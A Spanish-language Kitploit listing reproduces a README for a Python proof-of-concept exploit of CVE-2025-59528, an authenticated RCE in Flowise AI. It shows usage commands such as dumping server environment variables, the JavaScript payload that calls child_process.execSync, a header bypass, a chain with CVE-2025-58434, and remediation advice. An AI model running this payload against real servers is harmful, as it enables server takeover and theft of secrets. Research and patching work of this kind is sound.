Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Flowise-RCE-CVE-2025-59528 — PoC de exploit en Python para CVE-2025-59528, que logra RCE autenticado en Flowise AI <= 3.0.4 a través del endpoint customMCP y Node.js child_process.execSync. | Kitploit
Herramientas/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

PoC de exploit en Python para CVE-2025-59528, que logra RCE autenticado en Flowise AI <= 3.0.4 a través del endpoint customMCP y Node.js child_process.execSync.

Ver Repositorio
123hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-59528 - Ejecución remota de código (RCE) autenticada en Flowise AI

Descripción general

ID de CVE: CVE-2025-59528
Software afectado: Flowise AI
Versiones vulnerables: <= 3.0.4
Versión corregida: 3.0.5 y posteriores
Gravedad: Crítica
Autor: arensballiu
Fecha: 2025

Descripción

Las versiones de Flowise AI hasta la 3.0.4 inclusive permiten que un usuario autenticado logre una ejecución remota de código (RCE) en el servidor host enviando una carga útil de JavaScript manipulada al endpoint /api/v1/node-load-method/customMCP.

El método de carga del nodo customMCP acepta entrada controlada por el usuario que se evalúa en el lado del servidor como JavaScript, sin una sanitización o un aislamiento (sandboxing) adecuados. Al inyectar una carga útil que aprovecha child_process.execSync de Node.js, un atacante puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Flowise.

El endpoint también requiere que esté presente el encabezado x-request-from: internal.

Endpoint afectado

EndpointMétodoAutenticación requeridaPropósito
/api/v1/auth/loginPOSTNoAutenticarse y obtener la sesión
/api/v1/node-load-method/customMCPPOSTSí (cookie de sesión)Endpoint vulnerable del método de carga de nodo

Prueba de concepto

Archivo: CVE-2025-59528_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Credenciales válidas para cualquier cuenta de usuario en la instancia de Flowise objetivo
pip install requests

Uso

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argumentos

FlagForma largaObligatorioDescripción
-e--emailSíDirección de correo electrónico del usuario autenticado
-i--urlSíURL base de la instancia de Flowise
-p--passwordSíContraseña del usuario autenticado
-c--cmdSíComando del sistema operativo a ejecutar en el servidor

Ejemplos

Verificar la ejecución de código:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recuperar las variables de entorno del servidor:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Salida esperada

[+] Logged in
[+] Exploit sent
[+] Status: 200

Desglose del payload

El exploit inyecta la siguiente expresión JavaScript en el campo mcpServerConfig:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') - carga el módulo de ejecución de procesos integrado de Node.js.
  • execSync('<command>') - ejecuta de forma síncrona el comando del sistema operativo proporcionado por el atacante.
  • La expresión completa está envuelta en un literal de objeto para garantizar que se evalúe limpiamente dentro del contexto de JavaScript del servidor.

El encabezado x-request-from: internal también se añade a la solicitud para superar una comprobación de origen interno que, de lo contrario, bloquearía la llamada.

Causa raíz

El endpoint customMCP pasa la entrada proporcionada por el usuario directamente a un contexto de evaluación de JavaScript en el servidor sin sanitización ni sandboxing. Combinado con el acceso sin restricciones a los módulos principales de Node.js (específicamente child_process) a través de process.mainModule.require, esto crea un vector de RCE trivialmente explotable. La comprobación del encabezado x-request-from no proporciona un límite de seguridad significativo, ya que no se valida contra ninguna fuente de confianza.

Encadenamiento con CVE-2025-58434

Estas dos vulnerabilidades pueden encadenarse para una ruta de ataque RCE no autenticada contra instancias de Flowise que ejecuten versiones <= 3.0.4:

  1. Usar CVE-2025-58434 para restablecer la contraseña de cualquier cuenta conocida (sin necesidad de autenticación previa).
  2. Iniciar sesión con las credenciales recién establecidas.
  3. Usar CVE-2025-59528 para ejecutar comandos arbitrarios del sistema operativo en el servidor.

Remediación

  • Actualizar a Flowise AI 3.0.5 o posterior, que elimina o aísla adecuadamente la ruta de evaluación vulnerable.
  • Nunca evaluar cadenas controladas por el usuario como código en un contexto del lado del servidor.
  • Restringir el acceso a módulos peligrosos de Node.js (child_process, fs, etc.) mediante un sandbox adecuado (p. ej., vm2, contextos aislados o eliminando el acceso a process.mainModule).
  • Validar y autenticar el encabezado x-request-from mediante un mecanismo del lado del servidor en lugar de una simple comprobación de cadena.
  • Aplicar el principio de mínimo privilegio al proceso del servidor de Flowise.

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el uso indebido.

Descargar herramienta